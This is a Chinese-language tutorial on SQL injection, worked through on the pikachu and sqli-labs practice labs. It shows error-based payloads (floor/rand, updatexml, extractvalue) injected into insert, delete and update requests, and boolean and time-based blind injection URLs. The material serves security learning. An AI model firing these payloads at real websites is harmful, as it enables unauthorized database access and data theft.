当进行sql注入时,有很多注入会出无回显的情况,其中不回显的原因可能是sql语句查询方式的问题导致的,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知器sqkl语句大概写法也能更好的选择对应的注入语句。
# SQL查询方式
我们可以通过以下查询方式与网站应用的关系,注入点产生的地方或应用猜测到对方的sql查询方式。
1.select查询语句
在网站应用中进行数据显示查询等操作
例如:
select * from news where id=$id
2.insert插入数据
在网站应用中进行用户注册、添加等操作
例如:
insert into news(iiiiiiiid,url,text) values(1,'xx','$t')
pikachu靶场操作:
添加注册信息:
提交抓包:
构造pyload进行注入:
username=123' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit
可爆出该网站的数据库名:
或者:
username=123' or updatexml(1,concat(0x7e,(version())),0) or'&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit
再或者:
username=123' or extractvalue(1,concat(0x7e,database())) or'&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit
3.delete删除数据
后台管理里面删除文章删除用户等操作
例如:
delece from news where id=$id
pikachu靶场操作:
抓包:
构造pyload:
/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
或者:
/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
或者:
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))
4.update更新数据
会员或后台中心数据同步或缓存等操作
例如:
update user set pwd='$id' where id=2 and username='admin'
pikachu靶场操作:
登录后修改个人信息,提交时抓包:
构造pyload:
sex=%E7%94%B7&phonenum=12345678&add=sichuan' or(select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=sss.com&submit=submit
或者:
sex=%E7%94%B7&phonenum=12345678&add=sichuan' or updatexml(1,concat(0x7e,(version())),0) or'&email=sss.com&submit=submit
或者:
sex=%E7%94%B7&phonenum=12345678&add=sichuan' or extractvalue(1,concat(0x7e,user())) or'&email=sss.com&submit=submit
5.order by排序语句
一般结合表格或列名进行数据排序操作
例如:
select * from news order by $id select id,name,price from news orer by $order
#sql注入报错盲注
盲注就是在注入过程中,获取数据不能回显至前端页面。此时,我们需要 利用一些方法进行判断或者尝试,这个方法称之为盲注。
like 'ro%' #判断ro或ro·····是否成立 regexp '^xx[a-z]' #匹配xx及xx····等 if(条件,5,0) #条件成立返回5,否则返回0 sleep(5) #SQL语句延时5秒后执行 mid(a,b,c) #从位置b开始,截取a字符串的c位 substr(a,b,c) #从b位置开始,截取字符串a的c长度 left(database(),1),database() #left(a,b)从左侧截取a的前b位 length(database())=8 #判断数据库database()名的长度 ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
我们可以讲盲注分为以下三类:
1.基于布尔的sql盲注(逻辑判断)
regexp,like,ascii,ord,mid
sqlilabs靶场第5关演示
http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(version(),1)=5 --+
猜测数据库版本的第一位为5,正确不报错
2.基于时间的sql盲注(延时判断)
if,sleep
sqlilabs靶场第2关演示
http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(database()='security',5,0)) --+
提交后5秒后返回:
猜测数据库名长度:
http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(length(database())=8,5,0)) --+
3.基于报错的sql盲注(报错回显)
floor,updatexml,extractvalue
演示见上面的pikachu靶场